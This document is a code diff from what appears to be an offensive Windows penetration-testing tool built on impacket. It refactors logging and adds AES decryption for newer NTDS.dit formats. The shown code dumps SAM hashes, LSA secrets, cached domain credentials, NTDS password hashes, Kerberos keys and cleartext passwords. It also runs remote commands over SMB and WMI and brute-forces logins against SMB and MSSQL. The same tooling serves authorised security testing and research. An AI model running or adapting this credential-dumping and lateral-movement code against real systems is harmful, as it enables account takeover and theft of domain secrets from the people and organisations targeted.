def __decryptSecret(self, key, value):
# [MS-LSAD] Section 5.1.2
plainText = ''
@ -1022,7 +1023,7 @@ class LSASecrets(OfflineRegistry):
# ToDo: There could be more than one LSA Keys
record = LSA_SECRET(value)
tmpKey = self.__sha256(self.__bootKey, record['EncryptedData'][:32])
plainText = self.__decryptAES(tmpKey, record['EncryptedData'][32:])
plainText = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:])
record = LSA_SECRET_BLOB(plainText)
self.__LSAKey = record['Secret'][52:][:32]
@ -1059,7 +1060,7 @@ class LSASecrets(OfflineRegistry):
if self.__vistaStyle is True:
record = LSA_SECRET(value[1])
tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32])
self.__NKLMKey = self.__decryptAES(tmpKey, record['EncryptedData'][32:])
self.__NKLMKey = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:])
else:
self.__NKLMKey = self.__decryptSecret(self.__LSAKey, value[1])
@ -1095,7 +1096,7 @@ class LSASecrets(OfflineRegistry):
record = NL_RECORD(self.getValue(ntpath.join('\\Cache',value))[1])
if record['CH'] != 16 * '\x00':
if self.__vistaStyle is True:
plainText = self.__decryptAES(self.__NKLMKey[16:32], record['EncryptedData'], record['CH'])
plainText = self.__cryptoCommon.decryptAES(self.__NKLMKey[16:32], record['EncryptedData'], record['CH'])
else:
plainText = self.__decryptHash(self.__NKLMKey, record['EncryptedData'], record['CH'])
pass
@ -1108,7 +1109,7 @@ class LSASecrets(OfflineRegistry):
domainLong = plainText[:self.__pad(record['FullDomainLength'])].decode('utf-16le')
answer = "%s:%s:%s:%s:::" % (userName, hexlify(encHash), domainLong, domain)
self.__cachedItems.append(answer)
print_att(answer)
self.__logger.results(answer)
def __printSecret(self, name, secretItem):
# Based on [MS-LSAD] section 3.1.1.4
@ -1186,12 +1187,13 @@ class LSASecrets(OfflineRegistry):
secret = "$MACHINE.ACC: %s:%s" % (hexlify(ntlm.LMOWFv1('','')), hexlify(md4.digest()))
if secret != '':
print_att(secret)
self.__logger.results(secret)
self.__secretItems.append(secret)
else:
# Default print, hexdump
self.__logger.results('{}:{}'.format(name, hexlify(secretItem)))
self.__secretItems.append('%s:%s' % (name, hexlify(secretItem)))
print_att("{}:{}".format(name, hexlify(secretItem)))
#hexdump(secretItem)
def dumpSecrets(self):
if self.__securityFile is None:
@ -1222,7 +1224,7 @@ class LSASecrets(OfflineRegistry):
if self.__vistaStyle is True:
record = LSA_SECRET(value[1])
tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32])
plainText = self.__decryptAES(tmpKey, record['EncryptedData'][32:])
plainText = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:])
record = LSA_SECRET_BLOB(plainText)
secret = record['Secret']
else:
@ -1335,6 +1337,14 @@ class NTDSHashes:
('EncryptedHash','16s=""'),
)
class CRYPTED_HASHW16(Structure):
structure = (
('Header','8s=""'),
('KeyMaterial','16s=""'),
('Unknown','<L=0'),
('EncryptedHash','32s=""'),
)
class CRYPTED_HISTORY(Structure):
structure = (
('Header','8s=""'),
@ -1349,7 +1359,7 @@ class NTDSHashes:
('EncryptedHash',':'),
)
def __init__(self, ntdsFile, bootKey, isRemote=False, history=False, noLMHash=True, remoteOps=None,
def __init__(self, ntdsFile, bootKey, logger, isRemote=False, history=False, noLMHash=True, remoteOps=None,
useVSSMethod=False, justNTLM=False, pwdLastSet=False, resumeSession=None, outputFileName=None):
self.__bootKey = bootKey
self.__NTDS = ntdsFile
@ -1370,6 +1380,7 @@ class NTDSHashes:
self.__savedSessionFile = resumeSession
self.__resumeSessionFile = None
self.__outputFileName = outputFileName
self.__logger = logger
def getResumeSessionFile(self):
return self.__resumeSessionFile
@ -1391,19 +1402,32 @@ class NTDSHashes:
if peklist is not None:
encryptedPekList = self.PEKLIST_ENC(peklist)
md5 = hashlib.new('md5')
md5.update(self.__bootKey)
for i in range(1000):
md5.update(encryptedPekList['KeyMaterial'])
tmpKey = md5.digest()
rc4 = ARC4.new(tmpKey)
decryptedPekList = self.PEKLIST_PLAIN(rc4.encrypt(encryptedPekList['EncryptedPek']))
PEKLen = len(self.PEK_KEY())
for i in range(len( decryptedPekList['DecryptedPek'] ) / PEKLen ):
cursor = i * PEKLen
pek = self.PEK_KEY(decryptedPekList['DecryptedPek'][cursor:cursor+PEKLen])
logging.info("PEK # %d found and decrypted: %s", i, hexlify(pek['Key']))
self.__PEK.append(pek['Key'])
if encryptedPekList['Header'][:4] == '\x02\x00\x00\x00':
# Up to Windows 2012 R2 looks like header starts this way
md5 = hashlib.new('md5')
md5.update(self.__bootKey)
for i in range(1000):
md5.update(encryptedPekList['KeyMaterial'])
tmpKey = md5.digest()
rc4 = ARC4.new(tmpKey)
decryptedPekList = self.PEKLIST_PLAIN(rc4.encrypt(encryptedPekList['EncryptedPek']))
PEKLen = len(self.PEK_KEY())
for i in range(len( decryptedPekList['DecryptedPek'] ) / PEKLen ):
cursor = i * PEKLen
pek = self.PEK_KEY(decryptedPekList['DecryptedPek'][cursor:cursor+PEKLen])
logging.info("PEK # %d found and decrypted: %s", i, hexlify(pek['Key']))
self.__PEK.append(pek['Key'])
elif encryptedPekList['Header'][:4] == '\x03\x00\x00\x00':
# Windows 2016 TP4 header starts this way
# Encrypted PEK Key seems to be different, but actually similar to decrypting LSA Secrets.
# using AES:
# Key: the bootKey
# CipherText: PEKLIST_ENC['EncryptedPek']
# IV: PEKLIST_ENC['KeyMaterial']
decryptedPekList = self.PEKLIST_PLAIN(self.__cryptoCommon.decryptAES(self.__bootKey, encryptedPekList['EncryptedPek'], encryptedPekList['KeyMaterial']))
self.__PEK.append(decryptedPekList['DecryptedPek'][4:][:16])
logging.info("PEK # 0 found and decrypted: %s", hexlify(decryptedPekList['DecryptedPek'][4:][:16]))
def __removeRC4Layer(self, cryptedHash):
md5 = hashlib.new('md5')
@ -1448,6 +1472,13 @@ class NTDSHashes:
else:
userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']]
cipherText = self.CRYPTED_BLOB(unhexlify(record[self.NAME_TO_INTERNAL['supplementalCredentials']]))
if cipherText['Header'][:4] == '\x13\x00\x00\x00':
# Win2016 TP4 decryption is different
pekIndex = hexlify(cipherText['Header'])
plainText = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])], cipherText['EncryptedHash'][4:], cipherText['KeyMaterial'])
haveInfo = True
else:
plainText = self.__removeRC4Layer(cipherText)
haveInfo = True
else:
@ -1550,7 +1581,13 @@ class NTDSHashes:
if record[self.NAME_TO_INTERNAL['unicodePwd']] is not None:
encryptedNTHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['unicodePwd']]))
tmpNTHash = self.__removeRC4Layer(encryptedNTHash)
if encryptedNTHash['Header'][:4] == '\x13\x00\x00\x00':
# Win2016 TP4 decryption is different
encryptedNTHash = self.CRYPTED_HASHW16(unhexlify(record[self.NAME_TO_INTERNAL['unicodePwd']]))
pekIndex = hexlify(encryptedNTHash['Header'])
tmpNTHash = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])], encryptedNTHash['EncryptedHash'][:16], encryptedNTHash['KeyMaterial'])
else:
tmpNTHash = self.__removeRC4Layer(encryptedNTHash)
NTHash = self.__removeDESLayer(tmpNTHash, rid)
else:
NTHash = ntlm.NTOWFv1('', '')
@ -1572,7 +1609,7 @@ class NTDSHashes:
if self.__pwdLastSet is True:
answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet)
print_att(answer)
self.__logger.results(answer)
if self.__history:
LMHistory = []
@ -1586,7 +1623,14 @@ class NTDSHashes:
if record[self.NAME_TO_INTERNAL['ntPwdHistory']] is not None:
encryptedNTHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['ntPwdHistory']]))
tmpNTHistory = self.__removeRC4Layer(encryptedNTHistory)
if encryptedNTHistory['Header'][:4] == '\x13\x00\x00\x00':
# Win2016 TP4 decryption is different
pekIndex = hexlify(encryptedNTHistory['Header'])
tmpNTHistory = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])], encryptedNTHistory['EncryptedHash'], encryptedNTHistory['KeyMaterial'])
else:
tmpNTHistory = self.__removeRC4Layer(encryptedNTHistory)
for i in range(0, len(tmpNTHistory) / 16):
NTHash = self.__removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid)
NTHistory.append(NTHash)
@ -1601,7 +1645,7 @@ class NTDSHashes:
answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash, hexlify(NTHash))
if outputFile is not None:
self.__writeOutput(outputFile, answer + '\n')
print_att(answer)
self.__logger.results(answer)
else:
logging.debug('Decrypting hash for user: %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
domain = None
@ -1694,7 +1738,7 @@ class NTDSHashes:
if self.__pwdLastSet is True:
answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet)
print_att(answer)
self.__logger.results(answer)
if self.__history:
for i, (LMHashHistory, NTHashHistory) in enumerate(
@ -1705,7 +1749,7 @@ class NTDSHashes:
lmhash = hexlify(LMHashHistory)
answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash, hexlify(NTHashHistory))
print_att(answer)
self.__logger.results(answer)
if outputFile is not None:
self.__writeOutput(outputFile, answer + '\n')
@ -1888,7 +1932,7 @@ class NTDSHashes:
logging.info('Kerberos keys grabbed')
for itemKey in self.__kerberosKeys.keys():
print_att(itemKey)
print itemKey
# And finally the cleartext pwds
if len(self.__clearTextPwds) > 0:
@ -1898,7 +1942,7 @@ class NTDSHashes:
logging.info('ClearText passwords grabbed')
for itemKey in self.__clearTextPwds.keys():
print_att(itemKey)
print itemKey
# Closing output file
if self.__outputFileName is not None:
@ -1921,9 +1965,8 @@ class NTDSHashes:
class DumpSecrets:
def __init__(self, address, port, outputFile, smbConnection, kerberos=False):
self.__remoteAddr = address
self.__remotePort = port
def __init__(self, logger, outputFile, smbConnection, kerberos=False):
self.__logger = logger
#self.__username = username
#self.__password = password
#self.__domain = domain
@ -2009,8 +2052,8 @@ class DumpSecrets:
if self.__bootKey is not None:
try:
SAMFileName = self.__remoteOps.saveSAM()
self.__SAMHashes = SAMHashes(SAMFileName, self.__bootKey, isRemote = True)
print_succ('{}:{} Dumping SAM hashes (uid:rid:lmhash:nthash):'.format(self.__remoteAddr, self.__remotePort))
self.__SAMHashes = SAMHashes(SAMFileName, self.__bootKey, self.__logger, isRemote = True)
self.__logger.success('Dumping SAM hashes (uid:rid:lmhash:nthash)')
self.__SAMHashes.dump()
if self.__outputFileName is not None:
self.__SAMHashes.export(self.__outputFileName)
@ -2022,8 +2065,8 @@ class DumpSecrets:
if self.__bootKey is not None:
try:
SECURITYFileName = self.__remoteOps.saveSECURITY()
print_succ('{}:{} Dumping LSA secrets:'.format(self.__remoteAddr, self.__remotePort))
self.__LSASecrets = LSASecrets(SECURITYFileName, self.__bootKey, self.__remoteOps, isRemote=True)
self.__logger.success('Dumping LSA secrets')
self.__LSASecrets = LSASecrets(SECURITYFileName, self.__bootKey, self.__logger, self.__remoteOps, isRemote=True)
self.__LSASecrets.dumpCachedHashes()
if self.__outputFileName is not None:
self.__LSASecrets.exportCached(self.__outputFileName)
@ -2042,8 +2085,8 @@ class DumpSecrets:
else:
NTDSFileName = None
print_succ("{}:{} Dumping NTDS.dit secrets using the {} method (domain\\uid:rid:lmhash:nthash):".format(self.__remoteAddr, self.__remotePort, method.upper()))
self.__NTDSHashes = NTDSHashes(NTDSFileName, self.__bootKey, isRemote=True, history=history,
self.__logger.success("Dumping NTDS.dit secrets using the {} method (domain\\uid:rid:lmhash:nthash)".format(method.upper()))
self.__NTDSHashes = NTDSHashes(NTDSFileName, self.__bootKey, self.__logger, isRemote=True, history=history,
noLMHash=self.__noLMHash, remoteOps=self.__remoteOps,
useVSSMethod=vss, justNTLM=self.__justDCNTLM,
pwdLastSet=pwdLastSet, resumeSession=self.__resumeFileName,

View File

@ -19,7 +19,6 @@ import sys
import logging
import codecs
from core.logger import *
from impacket import version
from impacket.dcerpc.v5 import transport, scmr
from impacket.dcerpc.v5.ndr import NULL
@ -32,7 +31,7 @@ class SVCCTL:
'445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),
}
def __init__(self, username, password, domain, protocol, action, options):
def __init__(self, logger, username, password, domain, protocol, action, options):
self.__username = username
self.__password = password
self.__protocol = SVCCTL.KNOWN_PROTOCOLS.keys()
@ -46,6 +45,7 @@ class SVCCTL:
self.__protocol = protocol
self.__addr = None
self.__port = None
self.__logger = logger
if options.hash is not None:
self.__lmhash, self.__nthash = options.hash.split(':')
@ -92,19 +92,19 @@ class SVCCTL:
serviceHandle = ans['lpServiceHandle']
if self.__action == 'START':
print_status("{}:{} Starting service {}".format(self.__addr, self.__port, self.__options.service_name))
self.__logger.success("Starting service {}".format(self.__options.service_name))
scmr.hRStartServiceW(rpc, serviceHandle)
scmr.hRCloseServiceHandle(rpc, serviceHandle)
elif self.__action == 'STOP':
print_status("{}:{} Stopping service {}".format(self.__addr, self.__port, self.__options.service_name))
self.__logger.success("Stopping service {}".format(self.__options.service_name))
scmr.hRControlService(rpc, serviceHandle, scmr.SERVICE_CONTROL_STOP)
scmr.hRCloseServiceHandle(rpc, serviceHandle)
elif self.__action == 'DELETE':
print_status("{}:{} Deleting service {}".format(self.__addr, self.__port, self.__options.service_name))
self.__logger.success("Deleting service {}".format(self.__options.service_name))
scmr.hRDeleteService(rpc, serviceHandle)
scmr.hRCloseServiceHandle(rpc, serviceHandle)
elif self.__action == 'CONFIG':
print_succ("{}:{} Service config for {}:".format(self.__addr, self.__port, self.__options.service_name))
self.__logger.success("Service config for {}".format(self.__options.service_name))
resp = scmr.hRQueryServiceConfigW(rpc, serviceHandle)
output = "TYPE : %2d - " % resp['lpServiceConfig']['dwServiceType']
if resp['lpServiceConfig']['dwServiceType'] & 0x1:
@ -117,7 +117,7 @@ class SVCCTL:
output += "SERVICE_WIN32_SHARE_PROCESS "
if resp['lpServiceConfig']['dwServiceType'] & 0x100:
output += "SERVICE_INTERACTIVE_PROCESS "
print_att(output)
self.__logger.results(output)
output = "START_TYPE : %2d - " % resp['lpServiceConfig']['dwStartType']
if resp['lpServiceConfig']['dwStartType'] == 0x0:
@ -132,7 +132,7 @@ class SVCCTL:
output += "DISABLED"
else:
output += "UNKOWN"
print_att(output)
self.logger.results(output)
output = "ERROR_CONTROL : %2d - " % resp['lpServiceConfig']['dwErrorControl']
if resp['lpServiceConfig']['dwErrorControl'] == 0x0:
@ -145,16 +145,16 @@ class SVCCTL:
output += "CRITICAL"
else:
output += "UNKOWN"
print_att(output)
self.__logger.results(output)
print_att("BINARY_PATH_NAME : %s" % resp['lpServiceConfig']['lpBinaryPathName'][:-1])
print_att("LOAD_ORDER_GROUP : %s" % resp['lpServiceConfig']['lpLoadOrderGroup'][:-1])
print_att("TAG : %d" % resp['lpServiceConfig']['dwTagId'])
print_att("DISPLAY_NAME : %s" % resp['lpServiceConfig']['lpDisplayName'][:-1])
print_att("DEPENDENCIES : %s" % resp['lpServiceConfig']['lpDependencies'][:-1])
print_att("SERVICE_START_NAME: %s" % resp['lpServiceConfig']['lpServiceStartName'][:-1])
self.__logger.results("BINARY_PATH_NAME : %s" % resp['lpServiceConfig']['lpBinaryPathName'][:-1])
self.__logger.results("LOAD_ORDER_GROUP : %s" % resp['lpServiceConfig']['lpLoadOrderGroup'][:-1])
self.__logger.results("TAG : %d" % resp['lpServiceConfig']['dwTagId'])
self.__logger.results("DISPLAY_NAME : %s" % resp['lpServiceConfig']['lpDisplayName'][:-1])
self.__logger.results("DEPENDENCIES : %s" % resp['lpServiceConfig']['lpDependencies'][:-1])
self.__logger.results("SERVICE_START_NAME: %s" % resp['lpServiceConfig']['lpServiceStartName'][:-1])
elif self.__action == 'STATUS':
print_succ("{}:{} Service status for {}:".format(self.__addr, self.__port, self.__options.service_name))
self.__logger.success("Service status for {}".format(self.__options.service_name))
resp = scmr.hRQueryServiceStatus(rpc, serviceHandle)
output = "%s - " % self.__options.service_name
state = resp['lpServiceStatus']['dwCurrentState']
@ -174,9 +174,9 @@ class SVCCTL:
output += "STOPPED"
else:
output += "UNKOWN"
print_att(output)
self.__logger.results(output)
elif self.__action == 'LIST':
print_succ("{}:{} Available services:".format(self.__addr, self.__port))
self.__logger.success("Enumerating services")
#resp = rpc.EnumServicesStatusW(scManagerHandle, svcctl.SERVICE_WIN32_SHARE_PROCESS )
#resp = rpc.EnumServicesStatusW(scManagerHandle, svcctl.SERVICE_WIN32_OWN_PROCESS )
#resp = rpc.EnumServicesStatusW(scManagerHandle, serviceType = svcctl.SERVICE_FILE_SYSTEM_DRIVER, serviceState = svcctl.SERVICE_STATE_ALL )
@ -200,13 +200,13 @@ class SVCCTL:
output += "STOPPED"
else:
output += "UNKOWN"
print_att(output)
print_att("Total Services: %d" % len(resp))
self.__logger.results(output)
self.__logger.results("Total Services: {}".format(len(resp)))
elif self.__action == 'CREATE':
print_status("{}:{} Creating service {}".format(self.__addr, self.__port, self.__options.service_name))
self.__logger.success("Creating service {}".format(self.__options.service_name))
scmr.hRCreateServiceW(rpc, scManagerHandle,self.__options.service_name + '\x00', self.__options.service_display_name + '\x00', lpBinaryPathName=self.__options.service_bin_path + '\x00')
elif self.__action == 'CHANGE':
print_status("{}:{} Changing service config for {}".format(self.__addr, self.__port, self.__options.service_name))
self.__logger.success("Changing service config for {}".format(self.__options.service_name))
if self.__options.start_type is not None:
start_type = int(self.__options.start_type)
else:

View File

@ -35,7 +35,6 @@ import logging
import random
import string
from core.logger import *
from core.servers.smbserver import SMBServer
from impacket import version
from impacket.smbconnection import *
@ -51,11 +50,12 @@ class SMBEXEC:
'445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),
}
def __init__(self, command, protocols = None, username = '', password = '', domain = '', hashes = None, aesKey = None, doKerberos = None, mode = None, share = None, noOutput=False):
def __init__(self, logger, command, protocols = None, username = '', password = '', domain = '', hashes = None, aesKey = None, doKerberos = None, mode = None, share = None, noOutput=False):
if not protocols:
protocols = SMBEXEC.KNOWN_PROTOCOLS.keys()
self.__logger = logger
self.__username = username
self.__password = password
self.__command = command
@ -100,7 +100,7 @@ class SMBEXEC:
if self.__mode == 'SERVER':
serverThread = SMBServer()
serverThread.start()
self.shell = RemoteShell(self.__share, rpctransport, self.__mode, self.__serviceName, self.__noOutput)
self.shell = RemoteShell(self.__logger, self.__share, rpctransport, self.__mode, self.__serviceName, self.__noOutput)
self.shell.onecmd(self.__command)
self.shell.finish()
if self.__mode == 'SERVER':
@ -111,8 +111,9 @@ class SMBEXEC:
self.shell.finish()
class RemoteShell(cmd.Cmd):
def __init__(self, share, rpc, mode, serviceName, noOutput):
def __init__(self, logger, share, rpc, mode, serviceName, noOutput):
cmd.Cmd.__init__(self)
self.__logger = logger
self.__share = share
self.__mode = mode
self.__output = '\\Windows\\Temp\\' + OUTPUT_FILENAME
@ -235,9 +236,9 @@ class RemoteShell(cmd.Cmd):
def send_data(self, data):
self.execute_remote(data)
peer = ':'.join(map(str, self.__rpc.get_socket().getpeername()))
print_succ("{} Executed command via SMBEXEC".format(peer))
self.__logger.success("Executed command via SMBEXEC")
if self.__noOutput is False:
buf = StringIO(self.__outputBuffer.strip()).readlines()
for line in buf:
print_att(line.strip())
self.__logger.results(line.strip())
self.__outputBuffer = ''

View File

@ -29,7 +29,6 @@ import ntpath
import core.settings as settings
from gevent import sleep
from core.logger import *
from impacket import version
from impacket.smbconnection import SMBConnection, SMB_DIALECT, SMB2_DIALECT_002, SMB2_DIALECT_21
from impacket.dcerpc.v5.dcomrt import DCOMConnection
@ -40,7 +39,8 @@ from StringIO import StringIO
OUTPUT_FILENAME = ''.join(random.sample(string.ascii_letters, 10))
class WMIEXEC:
def __init__(self, command = '', username = '', password = '', domain = '', hashes = None, aesKey = None, share = None, noOutput=False, doKerberos=False):
def __init__(self, logger, command = '', username = '', password = '', domain = '', hashes = None, aesKey = None, share = None, noOutput=False, doKerberos=False):
self.__logger = logger
self.__command = command
self.__username = username
self.__password = password
@ -73,7 +73,7 @@ class WMIEXEC:
win32Process,_ = iWbemServices.GetObject('Win32_Process')
try:
self.shell = RemoteShell(self.__share, win32Process, smbConnection)
self.shell = RemoteShell(self.__logger, self.__share, win32Process, smbConnection)
self.shell.onecmd(self.__command)
except (Exception, KeyboardInterrupt) as e:
logging.error(str(e))
@ -82,8 +82,9 @@ class WMIEXEC:
dcom.disconnect()
class RemoteShell(cmd.Cmd):
def __init__(self, share, win32Process, smbConnection):
def __init__(self, logger, share, win32Process, smbConnection):
cmd.Cmd.__init__(self)
self.__logger = logger
self.__share = share
self.__output = '\\Windows\\Temp\\' + OUTPUT_FILENAME
self.__outputBuffer = ''
@ -228,10 +229,10 @@ class RemoteShell(cmd.Cmd):
def send_data(self, data):
self.execute_remote(data)
print_succ('{}:{} Executed command via WMIEXEC'.format(self.__win32Process.get_target(),
settings.args.port))
self.__logger.success('Executed command via WMIEXEC')
if self.__noOutput is False:
buf = StringIO(self.__outputBuffer.strip()).readlines()
for line in buf:
print_att(line.strip())
self.__logger.results(line.strip())
self.__outputBuffer = ''

View File

@ -22,7 +22,6 @@ import os
import logging
import cmd
from core.logger import *
from impacket import version
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.dcom import wmi
@ -31,7 +30,8 @@ import core.settings as settings
class WMIQUERY:
def __init__(self, username, password, domain, hashes = None, doKerberos = False, aesKey = None, oxidResolver = True):
def __init__(self, logger, username, password, domain, hashes = None, doKerberos = False, aesKey = None, oxidResolver = True):
self.__logger = logger
self.__username = username
self.__password = password
self.__domain = domain
@ -53,15 +53,16 @@ class WMIQUERY:
iWbemServices= iWbemLevel1Login.NTLMLogin(namespace, NULL, NULL)
iWbemLevel1Login.RemRelease()
shell = WMIShell(iWbemServices, address)
shell = WMIShell(self.__logger, iWbemServices, address)
shell.onecmd(command)
iWbemServices.RemRelease()
dcom.disconnect()
class WMIShell(cmd.Cmd):
def __init__(self, iWbemServices, address):
def __init__(self, logger, iWbemServices, address):
cmd.Cmd.__init__(self)
self.logger = logger
self.address = address
self.iWbemServices = iWbemServices
@ -104,7 +105,7 @@ class WMIShell(cmd.Cmd):
line = []
for rec in record:
line.append('{}: {}'.format(rec, record[rec]['value']))
print_att(' | '.join(line))
self.logger.results(' | '.join(line))
except Exception, e:
#import traceback
#print traceback.print_exc()
@ -120,7 +121,7 @@ class WMIShell(cmd.Cmd):
line = line[:-1]
try:
iEnumWbemClassObject = self.iWbemServices.ExecQuery(line.strip('\n'))
print_succ('{}:{} Executed specified WMI query:'.format(self.address, settings.args.port))
self.logger.success('Executed specified WMI query')
self.printReply(iEnumWbemClassObject)
iEnumWbemClassObject.RemRelease()
except Exception, e:

View File

@ -1,3 +1,6 @@
from random import sample
from string import ascii_lowercase
def init_args(arg_namespace):
"""
This is just so we can easily share argparse's namespace
@ -7,4 +10,7 @@ def init_args(arg_namespace):
args = arg_namespace
global gfails
gfails = 0
gfails = 0
global obfs_func_name
obfs_func_name = ''.join(sample(ascii_lowercase, 10))

View File

@ -1,4 +1,3 @@
from logger import *
from impacket.smbconnection import SessionError
import random
import string
@ -7,9 +6,10 @@ import settings
class SHAREDUMP:
def __init__(self, smbconnection):
def __init__(self, smbconnection, logger):
self.__smbconnection = smbconnection
self.__permdir = ''.join(random.sample(string.ascii_letters, 10))
self.__logger = logger
def dump(self, host):
permissions = {}
@ -32,11 +32,11 @@ class SHAREDUMP:
except SessionError:
pass
print_succ('{}:{} Available shares:'.format(host, settings.args.port))
print_att('{:>15} {:>15}'.format('SHARE', 'Permissions'))
print_att('{:>15} {:>15}'.format('-----', '-----------'))
self.__logger.success('Enumerating shares')
self.__logger.results('{:>15} {:>15}'.format('SHARE', 'Permissions'))
self.__logger.results('{:>15} {:>15}'.format('-----', '-----------'))
for share, perm in permissions.iteritems():
if not perm:
print_att(u'{:>15} {:>15}'.format(share, 'NO ACCESS'))
self.__logger.results(u'{:>15} {:>15}'.format(share, 'NO ACCESS'))
else:
print_att(u'{:>15} {:>15}'.format(share, ', '.join(perm)))
self.__logger.results(u'{:>15} {:>15}'.format(share, ', '.join(perm)))

View File

@ -6,7 +6,10 @@ import os
import csv
import StringIO
def smart_login(host, smb, domain):
class MSSQLSessionError(Exception):
pass
def smart_login(host, domain, connection, cme_logger):
'''
This function should probably be called ugly_login
'''
@ -19,11 +22,12 @@ def smart_login(host, smb, domain):
if settings.args.fail_limit:
if settings.args.fail_limit == fails:
print_status('{}:{} Reached login fail limit'.format(host, settings.args.port))
cme_logger.info('Reached login fail limit')
raise socket.error
if settings.args.gfail_limit:
if settings.gfails >= settings.args.gfail_limit:
print_status('{}:{} Reached global login fail limit'.format(host, settings.args.port))
cme_logger.info('Reached global login fail limit')
raise socket.error
line = line.strip()
@ -54,23 +58,45 @@ def smart_login(host, smb, domain):
try:
if settings.args.kerb:
smb.kerberosLogin(user, passwd, domain, lmhash, nthash, settings.args.aesKey)
if settings.args.mssql is not None:
res = connection.kerberosLogin(None, user, passwd, domain, ':'.join(lmhash, nthash), settings.args.aesKey)
if res is not True:
connection.printReplies()
raise MSSQLSessionError
else:
connection.kerberosLogin(user, passwd, domain, lmhash, nthash, settings.args.aesKey)
else:
smb.login(user, passwd, domain, lmhash, nthash)
print_succ("{}:{} Login successful {}\\{}:{}".format(host, settings.args.port, domain, user, passwd))
if settings.args.mssql is not None:
res = connection.login(None, user, passwd, domain, ':'.join(lmhash, nthash), True)
if res is not True:
connection.printReplies()
raise MSSQLSessionError
else:
connection.login(user, passwd, domain, lmhash, nthash)
cme_logger.success("Login successful {}\\{}:{}".format(domain, user, passwd))
settings.args.user = user
settings.args.passwd = passwd
settings.args.hash = ':'.join(lmhash, nthash)
return smb
return connection
except SessionError as e:
print_error("{}:{} {}\\{}:{} {}".format(host, settings.args.port, domain, user, passwd, e))
cme_logger.error("{}\\{}:{} {}".format(domain, user, passwd, e))
if 'STATUS_LOGON_FAILURE' in e:
fails += 1
settings.gfails += 1
continue
except MSSQLSessionError:
fails += 1
settings.gfails += 1
continue
except Exception as e:
print_error("Error parsing line '{}' in combo file: {}".format(line, e))
cme_logger.error("Error parsing line '{}' in combo file: {}".format(line, e))
continue
else:
usernames = []
@ -122,11 +148,12 @@ def smart_login(host, smb, domain):
if settings.args.fail_limit:
if settings.args.fail_limit == fails:
print_status('{}:{} Reached login fail limit'.format(host, settings.args.port))
cme_logger.info('Reached login fail limit')
raise socket.error
if settings.args.gfail_limit:
if settings.gfails >= settings.args.gfail_limit:
print_status('{}:{} Reached global login fail limit'.format(host, settings.args.port))
cme_logger.info('Reached global login fail limit')
raise socket.error
ntlm_hash = ntlm_hash.strip().lower()
@ -135,30 +162,51 @@ def smart_login(host, smb, domain):
try:
if settings.args.kerb:
smb.kerberosLogin(user, '', domain, lmhash, nthash, settings.args.aesKey)
if settings.args.mssql is not None:
res = connection.kerberosLogin(None, user, '', domain, ':'.join(lmhash, nthash), settings.args.aesKey)
if res is not True:
connection.printReplies()
raise MSSQLSessionError
else:
connection.kerberosLogin(user, '', domain, lmhash, nthash, settings.args.aesKey)
else:
smb.login(user, '', domain, lmhash, nthash)
print_succ("{}:{} Login successful {}\\{}:{}".format(host, settings.args.port, domain, user, ntlm_hash))
if settings.args.mssql is not None:
res = connection.login(None, user, '', domain, ':'.join(lmhash, nthash), True)
if res is not True:
connection.printReplies()
raise MSSQLSessionError
else:
connection.login(user, '', domain, lmhash, nthash)
cme_logger.success("Login successful {}\\{}:{}".format(domain, user, ntlm_hash))
settings.args.user = user
settings.args.hash = ntlm_hash
return smb
return connection
except SessionError as e:
print_error("{}:{} {}\\{}:{} {}".format(host, settings.args.port, domain, user, ntlm_hash, e))
cme_logger.error("{}\\{}:{} {}".format(domain, user, ntlm_hash, e))
if 'STATUS_LOGON_FAILURE' in str(e):
fails += 1
settings.gfails += 1
continue
except MSSQLSessionError:
fails += 1
settings.gfails += 1
continue
if passwords:
for passwd in passwords:
if settings.args.fail_limit:
if settings.args.fail_limit == fails:
print_status('{}:{} Reached login fail limit'.format(host, settings.args.port))
cme_logger.info('Reached login fail limit')
raise socket.error
if settings.args.gfail_limit:
if settings.gfails >= settings.args.gfail_limit:
print_status('{}:{} Reached global login fail limit'.format(host, settings.args.port))
cme_logger.info('Reached global login fail limit')
raise socket.error
passwd = passwd.strip()
@ -166,18 +214,38 @@ def smart_login(host, smb, domain):
if passwd == '': passwd = "''"
try:
if settings.args.kerb:
smb.kerberosLogin(user, passwd, domain, '', '', settings.args.aesKey)
if settings.args.mssql is not None:
connection.kerberosLogin(None, user, passwd, domain, None, settings.args.aesKey)
if res is not True:
connection.printReplies()
raise MSSQLSessionError
else:
connection.kerberosLogin(user, passwd, domain, '', '', settings.args.aesKey)
else:
smb.login(user, passwd, domain)
print_succ("{}:{} Login successful {}\\{}:{}".format(host, settings.args.port, domain, user, passwd))
if settings.args.mssql is not None:
res = connection.login(None, user, passwd, domain, None, True)
if res is not True:
connection.printReplies()
raise MSSQLSessionError
else:
connection.login(user, passwd, domain)
cme_logger.success("Login successful {}\\{}:{}".format(domain, user, passwd))
settings.args.user = user
settings.args.passwd = passwd
return smb
return connection
except SessionError as e:
print_error("{}:{} {}\\{}:{} {}".format(host, settings.args.port, domain, user, passwd, e))
cme_logger.error("{}\\{}:{} {}".format(domain, user, passwd, e))
if 'STATUS_LOGON_FAILURE' in str(e):
fails += 1
settings.gfails += 1
continue
except MSSQLSessionError:
fails += 1
settings.gfails += 1
continue
raise socket.error #So we fail without a peep

View File

@ -2,7 +2,6 @@ import re
import settings
import traceback
